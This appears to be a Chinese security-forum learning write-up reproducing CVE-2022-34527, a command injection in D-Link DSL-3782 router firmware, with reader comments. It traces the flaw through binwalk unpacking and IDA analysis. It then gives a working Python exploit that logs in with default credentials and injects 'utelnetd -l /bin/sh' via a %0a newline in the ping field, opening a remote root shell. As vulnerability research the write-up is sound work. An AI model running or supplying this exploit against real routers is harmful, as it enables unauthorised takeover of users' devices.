首页
社区
课程
招聘
命令注入漏洞CVE-2022-34527复现(学习记录)
发表于: 2023-7-23 23:37 20601

命令注入漏洞CVE-2022-34527复现(学习记录)

2023-7-23 23:37
20601

漏洞披露的信息很模糊,只是说D-Link DSL-3782 v1.03及以下版本中存在一个命令注入漏洞,相关的函数为byte_4C0160。

若是在IDA中,byte_4C0160应该是一个字符串,IDA中的未知函数是sub_xx格式。

本文中复现的版本是D-Link DSL-3782 v1.0。

使用binwalk对固件解包,获取文件系统。

在文件系统中看到了boaroot文件夹,猜测该路由器使用的是Boa服务器。Boa服务器是一个小巧高效的web服务器,是一个运行于unix或linux下的,支持CGI的、适合于嵌入式系统的单任务的http服务器,源代码开放、性能高。作为一种单任务Web服务器,Boa只能依次完成用户的请求,而不会fork出新的进程来处理并发连接请求。但Boa支持CGI,能够为CGI程序fork出一个进程来执行。

查看系统启动文件:/usr/etc/init.d/rcS

根据启动信息,路由器的Web服务器为Boa,Web根目录为/boaroot。

在文件系统中发现了utelnetd命令,可用于验证命令注入漏洞。

查看完文件系统后模拟运行固件,定位到相关文件后再详细分析。根据漏洞信息说是一个命令注入,那么直接模拟固件去后台看看有没有可疑的注入点。

默认密码为admin。

在后台中查找到如下页面:

根据之前的复现经验,命令执行漏洞很有可能出现在ping测试这种页面中。使用burpsuit抓包查看一下:

发现ping test 相关文件为:/cgi-bin/New_GUI/Set/Diagnostics.asp,查看一下该文件的内容。

根据文件内容判断这是在通过WebApi处理前端提交过来的数据,由前面的Burpsuit抓包的内容可知前端会将Type和Addr的数据传到服务器。查找一下关键字:Diagnostics_Entry看看传入的数据是由哪个文件处理的。

通过查找内容获得文件userfs/bin/cfg_manager,将该文件拿到IDA中分析。通过关键词查找,成功定位到函数:

分析整理一下:

通过分析可知上述代码的含义为判断前端传来的Type参数是为p还是t,对应的是Ping test和Trace route。命令执行的关键点在于byte_4C0480是否能被前端输入所控制,通过引用查看一下byte_4C0480的来源。

找到byte_4C0480的来源但是发现不能直接通过F5反汇编为伪代码,需要修正函数。在函数的开始地址处按下P修正后再F5即可得到反汇编的伪代码。

通过分析上述代码可知获取到前端输入的Addr后通过sub_46258C进行字符检查,但是检查不充分,可通过如%0a(\n)绕过。检查后使用sprintf函数拼接命令字符串并通过pthread_create传入到线程回调函数中由system函数执行。这是一个由于对前端输入数据检查不充分导致的命令执行漏洞。

通过抓包查看发现POST数据的时候带着session,不能通过Repeater改包发送了,但是可以通过Intercept来更改。在Addr处使用的注入命令为:utelnetd -p 7080 -l /bin/sh

使用nc连接成功,取得shell。

EXP执行后成功取得shell:

和前一篇命令执行漏洞一样,此漏洞是因为字符过滤不完全导致的命令执行漏洞。当遇到CVE漏洞信息描述的比较模糊时,模拟固件去后台看看有没有可疑漏洞点很有必要,这样可以快速定位到漏洞页面或者相关文件。

binwalk -Me DSL-3782_A1_EU_1.01_09292016.bin
binwalk -Me DSL-3782_A1_EU_1.01_09292016.bin
import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"
    resp = s.get(url,headers=headers,timeout=10)
    print(resp.text)
 
 
def get_session_key():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url,headers=headers,timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey
 
 
def exp(sessionKey=None):
 
    cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"
     
    s = requests.Session()
    s.verify = False
    params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url,data=params,headers=headers,timeout=100000)
    print(resp.text)
 
 
if __name__ == '__main__':
    print("\n[*] Connection ",main_url);
    login()
 
    print("[*] Getting session key")
    sessionKey = get_session_key()
 
    print("[*] Sending payload")
    exp(sessionKey=sessionKey)
    print("[*] Running Telnetd Service")
    print("[*] Opening Telnet Connection\n")
    sleep(3)
    os.system('telnet ' + str(server) + ' 8090')
import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2023-7-30 19:12 被伯爵的信仰编辑 ,原因:
收藏
免费 9
支持
分享
最新回复 (10)
雪    币: 400
活跃值: (3943)
能力值: ( LV8,RANK:155 )
在线值:
发帖
回帖
粉丝
2
这次的固件文件超过了8M,不能作为附件上传了。如有需要请自行根据文中链接下载。
2023-7-23 23:44
0
雪    币: 4510
活跃值: (2450)
能力值: ( LV4,RANK:55 )
在线值:
发帖
回帖
粉丝
3
学习了
2023-7-24 18:05
0
雪    币: 3987
活跃值: (4727)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
学习了,感谢分享
2023-7-25 00:19
0
雪    币: 200
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
5
老师,模拟固件的脚本init.sh和run.sh能不能分享一下啊,谢谢老师
2023-8-30 13:18
0
雪    币: 3561
活跃值: (541)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
学习了
2023-8-30 16:04
0
雪    币: 215
活跃值: (636)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
mb_jyhephqj 老师,模拟固件的脚本init.sh和run.sh能不能分享一下啊,谢谢老师
这是用的FirmAE,可以去GitHub下载
2023-8-30 19:59
0
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
8
精彩!
2023-8-31 00:06
0
雪    币: 2787
活跃值: (30801)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
感谢分享
2023-8-31 09:11
1
雪    币:
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
10
请问为什么我用burpsuite抓包只能抓到GET类型的包,没抓到POST类型的
2023-9-11 23:01
0
雪    币: 400
活跃值: (3943)
能力值: ( LV8,RANK:155 )
在线值:
发帖
回帖
粉丝
11
wx_小沙优 请问为什么我用burpsuite抓包只能抓到GET类型的包,没抓到POST类型的
输入ip地址后,点击Runtest按钮抓包。
2023-9-11 23:05
0
游客
登录 | 注册 方可回帖
返回
//